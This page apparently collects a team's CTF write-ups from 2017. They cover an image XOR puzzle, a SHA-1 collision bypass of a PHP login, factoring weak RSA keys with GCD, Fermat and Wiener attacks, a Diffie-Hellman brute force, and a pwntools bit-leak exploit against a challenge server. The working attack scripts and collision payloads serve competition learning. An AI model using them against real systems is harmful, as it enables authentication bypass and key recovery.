CTF: VolgaCTF VC task

27/03/17 — capitol

bits

name:

VC

category:

crypto

points:

50

Writeup

We were given two images, both containing black and white noise. A B

Since it’s a crypto challege with low points, we guessed that it’s a simple XOR.

The quickest way to xor two images is with a command line one liner:

convert A.png B.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" C.png

That produced this result: C

Flag: VolgaCTF{Classic_secret_sharing_scheme}

CTF: Shattering Prudentialv2

07/03/17 — capitol

bits

name:

Prudentialv2

category:

web

points:

50

Writeup

During the Boston Key Party CTF 2017 we also solved the Prudentialv2 task.

We were presented with a simple website that asked us to log in, a peek into the html source showed us a link to what looked like the source code of the backend:

<?php
require 'flag.php';

if (isset($_GET['name']) and isset($_GET['password'])) {
    $name = (string)$_GET['name'];
    $password = (string)$_GET['password'];

    if ($name == $password) {
        print 'Your password can not be your name.';
    } else if (sha1($name) === sha1($password)) {
      die('Flag: '.$flag);
    } else {
        print '<p class="alert">Invalid password.</p>';
    }
}
?>

This might have looked like an impossible challenge, if it wasn’t for the fact that google had released an attack on sha1 a few days prior.

We first tried to url-encode the two pdf’s and upload them as username and password, but the server had a post limit of 8k.

But the effective attack on sha1 is really quite small, so we could use that instead.

One script to generate the username and password files:

#!/usr/bin/env python
# from https://github.com/lxe/shattered/blob/master/shattered.js

import hashlib
a = bytearray([
  0x73, 0x46, 0xdc, 0x91, 0x66, 0xb6, 0x7e, 0x11, 0x8f, 0x02, 0x9a, 0xb6, 0x21, 0xb2, 0x56, 0x0f,
  0xf9, 0xca, 0x67, 0xcc, 0xa8, 0xc7, 0xf8, 0x5b, 0xa8, 0x4c, 0x79, 0x03, 0x0c, 0x2b, 0x3d, 0xe2,
  0x18, 0xf8, 0x6d, 0xb3, 0xa9, 0x09, 0x01, 0xd5, 0xdf, 0x45, 0xc1, 0x4f, 0x26, 0xfe, 0xdf, 0xb3,
  0xdc, 0x38, 0xe9, 0x6a, 0xc2, 0x2f, 0xe7, 0xbd, 0x72, 0x8f, 0x0e, 0x45, 0xbc, 0xe0, 0x46, 0xd2,
  0x3c, 0x57, 0x0f, 0xeb, 0x14, 0x13, 0x98, 0xbb, 0x55, 0x2e, 0xf5, 0xa0, 0xa8, 0x2b, 0xe3, 0x31,
  0xfe, 0xa4, 0x80, 0x37, 0xb8, 0xb5, 0xd7, 0x1f, 0x0e, 0x33, 0x2e, 0xdf, 0x93, 0xac, 0x35, 0x00,
  0xeb, 0x4d, 0xdc, 0x0d, 0xec, 0xc1, 0xa8, 0x64, 0x79, 0x0c, 0x78, 0x2c, 0x76, 0x21, 0x56, 0x60,
  0xdd, 0x30, 0x97, 0x91, 0xd0, 0x6b, 0xd0, 0xaf, 0x3f, 0x98, 0xcd, 0xa4, 0xbc, 0x46, 0x29, 0xb1
])

b = bytearray([
  0x7f, 0x46, 0xdc, 0x93, 0xa6, 0xb6, 0x7e, 0x01, 0x3b, 0x02, 0x9a, 0xaa, 0x1d, 0xb2, 0x56, 0x0b,
  0x45, 0xca, 0x67, 0xd6, 0x88, 0xc7, 0xf8, 0x4b, 0x8c, 0x4c, 0x79, 0x1f, 0xe0, 0x2b, 0x3d, 0xf6,
  0x14, 0xf8, 0x6d, 0xb1, 0x69, 0x09, 0x01, 0xc5, 0x6b, 0x45, 0xc1, 0x53, 0x0a, 0xfe, 0xdf, 0xb7,
  0x60, 0x38, 0xe9, 0x72, 0x72, 0x2f, 0xe7, 0xad, 0x72, 0x8f, 0x0e, 0x49, 0x04, 0xe0, 0x46, 0xc2,
  0x30, 0x57, 0x0f, 0xe9, 0xd4, 0x13, 0x98, 0xab, 0xe1, 0x2e, 0xf5, 0xbc, 0x94, 0x2b, 0xe3, 0x35,
  0x42, 0xa4, 0x80, 0x2d, 0x98, 0xb5, 0xd7, 0x0f, 0x2a, 0x33, 0x2e, 0xc3, 0x7f, 0xac, 0x35, 0x14,
  0xe7, 0x4d, 0xdc, 0x0f, 0x2c, 0xc1, 0xa8, 0x74, 0xcd, 0x0c, 0x78, 0x30, 0x5a, 0x21, 0x56, 0x64,
  0x61, 0x30, 0x97, 0x89, 0x60, 0x6b, 0xd0, 0xbf, 0x3f, 0x98, 0xcd, 0xa8, 0x04, 0x46, 0x29, 0xa1
])

prefix= bytearray([
  0x25, 0x50, 0x44, 0x46, 0x2d, 0x31, 0x2e, 0x33, 0x0a, 0x25, 0xe2, 0xe3, 0xcf, 0xd3, 0x0a, 0x0a,
  0x0a, 0x31, 0x20, 0x30, 0x20, 0x6f, 0x62, 0x6a, 0x0a, 0x3c, 0x3c, 0x2f, 0x57, 0x69, 0x64, 0x74,
  0x68, 0x20, 0x32, 0x20, 0x30, 0x20, 0x52, 0x2f, 0x48, 0x65, 0x69, 0x67, 0x68, 0x74, 0x20, 0x33,
  0x20, 0x30, 0x20, 0x52, 0x2f, 0x54, 0x79, 0x70, 0x65, 0x20, 0x34, 0x20, 0x30, 0x20, 0x52, 0x2f,
  0x53, 0x75, 0x62, 0x74, 0x79, 0x70, 0x65, 0x20, 0x35, 0x20, 0x30, 0x20, 0x52, 0x2f, 0x46, 0x69,
  0x6c, 0x74, 0x65, 0x72, 0x20, 0x36, 0x20, 0x30, 0x20, 0x52, 0x2f, 0x43, 0x6f, 0x6c, 0x6f, 0x72,
  0x53, 0x70, 0x61, 0x63, 0x65, 0x20, 0x37, 0x20, 0x30, 0x20, 0x52, 0x2f, 0x4c, 0x65, 0x6e, 0x67,
  0x74, 0x68, 0x20, 0x38, 0x20, 0x30, 0x20, 0x52, 0x2f, 0x42, 0x69, 0x74, 0x73, 0x50, 0x65, 0x72,
  0x43, 0x6f, 0x6d, 0x70, 0x6f, 0x6e, 0x65, 0x6e, 0x74, 0x20, 0x38, 0x3e, 0x3e, 0x0a, 0x73, 0x74,
  0x72, 0x65, 0x61, 0x6d, 0x0a, 0xff, 0xd8, 0xff, 0xfe, 0x00, 0x24, 0x53, 0x48, 0x41, 0x2d, 0x31,
  0x20, 0x69, 0x73, 0x20, 0x64, 0x65, 0x61, 0x64, 0x21, 0x21, 0x21, 0x21, 0x21, 0x85, 0x2f, 0xec,
  0x09, 0x23, 0x39, 0x75, 0x9c, 0x39, 0xb1, 0xa1, 0xc6, 0x3c, 0x4c, 0x97, 0xe1, 0xff, 0xfe, 0x01
])

s1 = prefix + a
s2 = prefix + b

with open("user.blob", "w") as fp:
    fp.write(s1)

with open("pw.blob", "w") as fp:
    fp.write(s2)

And one script to upload them to the server and get the flag:

#!/usr/bin/env python

import socket
import urllib

user = open("user.blob").read()
password = open("pw.blob").read()

user = urllib.quote_plus(user)
password = urllib.quote_plus(password)

req = "GET /index.php?name=%s&password=%s HTTP/1.1\r\nHost: 54.202.82.13\r\n\r\n" % (user, password)

conn = socket.create_connection(("54.202.82.13", 80))
conn.send(req)
print conn.recv(2048)

Flag: FLAG{AfterThursdayWeHadToReduceThePointValue}

Image credit

CTF: Eating a nice RSA buffet

27/02/17 — capitol

buffet

name:

RSA Buffet

category:

crypto

points:

150

Writeup

During the 2017 Boston Key Party we were presented with a very nice buffet of RSA keys to crack.

There where 10 different keys and five of them decrypted five other cipher texts. Any three of those five could be combined with the help of secret sharing to get the flag.

We used four different attacks on RSA in order to retrieve five of the keys.

Brute force to find key 2

One of the primes for key number two was really small, only 2758599203. We could have just used brute force to calculate it, but instead we found it in factordb

Greatest common divisor to find both key 0 and 6

Finding out if two numbers have a common divisor is extremely efficient, it’s done with one of the oldest known algorithms: the Euclidean algorithm.

Comparing all the keys with each other takes no time at all:

    private static void findKey0and6(BigInteger[] keys) {
        for(int i = 0; i < keys.length; i++) {
            for(int j = 0; j < keys.length; j++) {
                if(i == j)
                    continue;

                BigInteger gcd = keys[i].gcd(keys[j]);
                if(gcd.compareTo(BigInteger.ONE) > 0)
                    System.out.println("gcd " + i + ":" + j +" = " + gcd);
            }
        }
    }

We found a reused prime between key 0 and 6.

Fermat’s Factorization Method to find key 1

If the two primes p and q are clustered close to \sqrt{N}, then we can use the fermat factorization method to find them.

This is the implementation that we used:

public class Fermat {

    public static BigInteger factor(BigInteger n) {
        // Fermat's Factorization Method
        BigInteger A = BigMath.sqrt(n);
        BigInteger Bsq = A.multiply(A).subtract(n);
        BigInteger B = BigMath.sqrt(Bsq);
        BigInteger AminusB = A.subtract(B);

        // c is a chosen bound which controls when Fermat stops
        BigInteger c = new BigInteger("30");
        BigInteger AminusB_prev = A.subtract(B).add(c);
        BigInteger result = null;

        while (!BigMath.sqrt(Bsq).pow(2).equals(Bsq) && AminusB_prev.subtract(AminusB).compareTo(c) > -1) {
            A = A.add(BigInteger.ONE);
            Bsq = A.multiply(A).subtract(n);

            B = BigMath.sqrt(Bsq);
            AminusB_prev = AminusB;
            AminusB = A.subtract(B);
        }

        if (BigMath.sqrt(Bsq).pow(2).equals(Bsq)) {
            result = AminusB;
        }

        // Trial Division
        else {
            boolean solved = false;
            BigInteger p = AminusB.add(BigMath.TWO);

            if (p.remainder(BigMath.TWO).intValue() == 0) {
                p = p.add(BigInteger.ONE);
            }
            while (!solved) {
                p = p.subtract(BigMath.TWO);
                if (n.remainder(p).equals(BigInteger.ZERO)) {
                    solved = true;
                }
            }

            result = p;
        }

        return result;
    }
}
Wiener attack to solve key 3

Key 3 had a really big e, this was a good hint that we could use the wiener attack.

RSA isn’t an algorithm very well suited to run on constrained systems. This has led people to try to speed it up, and one thing that they tried was to have a small d and a large e. Michael J. Wiener was the man who developed an attack against that.

The implementation that we used was this one:

public class WienerAttack {

    //Four ArrayList for finding proper n/d which later on for guessing k/dg
    private List<BigInteger> q = new ArrayList<>();
    private List<Fraction> r = new ArrayList<>();
    private List<BigInteger> n = new ArrayList<>();
    private List<BigInteger> d = new ArrayList<>();

    private BigInteger e;
    private BigInteger N;

    private Fraction kDdg = new Fraction(BigInteger.ZERO, BigInteger.ONE); // k/dg, D means "divide"

    //Constructor for the case using files as inputs for generating e and N
    public WienerAttack(BigInteger e, BigInteger N) throws IOException {
        this.e = e;
        this.N = N;
    }

    public BigInteger attack() {
        int i = 0;
        BigInteger temp1;

        //This loop keeps going unless the privateKey is calculated or no privateKey is generated
        //When no privateKey is generated, temp1 == -1
        while ((temp1 = step(i)) == null) {
            i++;
        }

        return temp1;
    }

    //Steps follow the paper called "Cryptanalysis of Short RSA Secret Exponents by Michael J. Wiener"
    private BigInteger step(int iteration) {
        if (iteration == 0) {
            //initialization for iteration 0
            Fraction ini = new Fraction(e, N);
            q.add(ini.floor());
            r.add(ini.remainder());
            n.add(q.get(0));
            d.add(BigInteger.ONE);
        } else if (iteration == 1) {
            //iteration 1
            Fraction temp2 = new Fraction(r.get(0).denominator, r.get(0).numerator);
            q.add(temp2.floor());
            r.add(temp2.remainder());
            n.add((q.get(0).multiply(q.get(1))).add(BigInteger.ONE));
            d.add(q.get(1));
        } else {
            if (r.get(iteration - 1).numerator.equals(BigInteger.ZERO)) {
                return BigInteger.ONE.negate(); //Finite continued fraction. and no proper privateKey could be generated. Return -1
            }

            //go on calculating n and d for iteration i by using formulas stating on the paper
            Fraction temp3 = new Fraction(r.get(iteration - 1).denominator, r.get(iteration - 1).numerator);
            q.add(temp3.floor());
            r.add(temp3.remainder());
            n.add((q.get(iteration).multiply(n.get(iteration - 1)).add(n.get(iteration - 2))));
            d.add((q.get(iteration).multiply(d.get(iteration - 1)).add(d.get(iteration - 2))));
        }

        //if iteration is even, assign <q0, q1, q2,...,qi+1> to kDdg
        if (iteration % 2 == 0) {
            if (iteration == 0) {
                kDdg = new Fraction(q.get(0).add(BigInteger.ONE), BigInteger.ONE);
            } else {
                kDdg = new Fraction((q.get(iteration).add(BigInteger.ONE)).multiply(n.get(iteration - 1)).add(n.get(iteration - 2)), (q.get(iteration).add(BigInteger.ONE)).multiply(d.get(iteration - 1)).add(d.get(iteration - 2)));
            }
        }

        //if iteration is odd, assign <q0, q1, q2,...,qi> to kDdg
        else {
            kDdg = new Fraction(n.get(iteration), d.get(iteration));
        }

        BigInteger edg = this.e.multiply(kDdg.denominator); //get edg from e * dg

        //dividing edg by k yields a quotient of (p-1)(q-1) and a remainder of g
        BigInteger fy = (new Fraction(this.e, kDdg)).floor();
        BigInteger g = edg.mod(kDdg.numerator);

        //get (p+q)/2 and check whether (p+q)/2 is integer or not
        BigDecimal pAqD2 = (new BigDecimal(this.N.subtract(fy))).add(BigDecimal.ONE).divide(new BigDecimal("2"));
        if (!pAqD2.remainder(BigDecimal.ONE).equals(BigDecimal.ZERO))
            return null;

        //get [(p-q)/2]^2 and check [(p-q)/2]^2 is a perfect square or not
        BigInteger pMqD2s = pAqD2.toBigInteger().pow(2).subtract(N);
        BigInteger pMqD2 = BigMath.sqrt(pMqD2s);
        if (!pMqD2.pow(2).equals(pMqD2s))
            return null;

        //get private key d from edg/eg
        return edg.divide(e.multiply(g));

    }
}

public class Fraction {
    public BigInteger numerator;
    public BigInteger denominator;

    //Constructor of the Fraction class which initializes the numerator and denominator
    public Fraction(BigInteger paramBigInteger1, BigInteger paramBigInteger2) {
        //find out the gcd of paramBigInteger1 and paramBigInteger2 which is used for ensuring the numerator and denominator are relatively prime
        BigInteger localBigInteger = paramBigInteger1.gcd(paramBigInteger2);

        this.numerator = paramBigInteger1.divide(localBigInteger);
        this.denominator = paramBigInteger2.divide(localBigInteger);
    }

    //Constructor for the case when calculating (paramBigInteger1 /(paramFraction.numerator / paramFraction.denominator))
    public Fraction(BigInteger paramBigInteger, Fraction paramFraction) {
        this.numerator = paramBigInteger.multiply(paramFraction.denominator);
        this.denominator = paramFraction.numerator;
        BigInteger localBigInteger = this.numerator.gcd(this.denominator);
        this.numerator = this.numerator.divide(localBigInteger);
        this.denominator = this.denominator.divide(localBigInteger);
    }

    //Calculate the quotient of this Fraction
    public BigInteger floor() {
        BigDecimal localBigDecimal1 = new BigDecimal(this.numerator);
        BigDecimal localBigDecimal2 = new BigDecimal(this.denominator);
        return localBigDecimal1.divide(localBigDecimal2, 3).toBigInteger();
    }

    //Calculate the remainder of this Fraction and assign the result to form a new Fraction
    public Fraction remainder() {
        BigInteger floor = this.floor();
        BigInteger numeratorNew = this.numerator.subtract(floor.multiply(this.denominator));
        BigInteger denominatorNew = this.denominator;
        return new Fraction(numeratorNew, denominatorNew);
    }
}

These attacks combined gave us enough plaintext so that we could recover that flag, which was FLAG{ndQzjRpnSP60NgWET6jX}

Image credit

CTF: Solving nullcon crypto question 2

13/02/17 — capitol

diffie-hellman

name:

Crypto Question 2

category:

crypto

points:

350

Writeup

The nullcon ctf competition ran this weekend, and the organizers managed to completely give away one of the crypto challenges by giving out a hint that made it trivial.

The problem was given as this image: problem

And the hint that gave the problem away was: Hint 2 : ‘a’ and ‘b’ both are less than 1000

By doing a simple iteration from 0 to 1000 we got two possible answers for both a and b.

        BigInteger q = new BigInteger("541");
        BigInteger g = new BigInteger("10");
        for(int i = 0; i < 1000; i++) {
            BigInteger a = g.modPow(BigInteger.valueOf(i), q);

            if(a.equals(BigInteger.valueOf(298)))
                System.out.println("a = " + i);

            if(a.equals(BigInteger.valueOf(330)))
                System.out.println("b = " + i);
        }

gave us the output:

a = 170
b = 268
a = 710
b = 808

And that gave us four possible values for the flag, which was: flag{170,808}

CTF: Solving Leaky Bits

03/02/17 — capitol

bits

name:

Iran - Leaky Bits

category:

pwn

points:

100

Writeup

The team from xil.se have written a challenge that’s called leaky bits, and as the name implies it’s all about leaking the data that we need, one bit at a time.

Drip, Drop, Drip, Drop.

Play the challenge here: telnet ctf1.xil.se 4500

Solution

from pwn import *

context(arch = 'x86_64', os = 'linux')

# reads a byte from the input address
def readbyte(t, addr):
    bits = ""
    for i in range(8):
        t.recvregex('Where do you want to leak\?')
        t.sendline('0x%x %d' % (addr, i))
        bits = t.recvregex('look: \d')[-1] + bits
    return int(bits, 2)


with context.local(log_level='info'):
    tube = remote('ctf1.xil.se', 4500)

    # a quick check with r2 reveals the flag location in the binary
    flag_addr = 0x601050

    bytes = []
    for c in range(30):
        bytes.append(readbyte(tube, flag_addr + c))

    print "\n\nFlag is", "".join([chr(c) for c in bytes]), "\n\n"

    tube.interactive()

Coproduced with the League of Extraordinarily Backward Engineers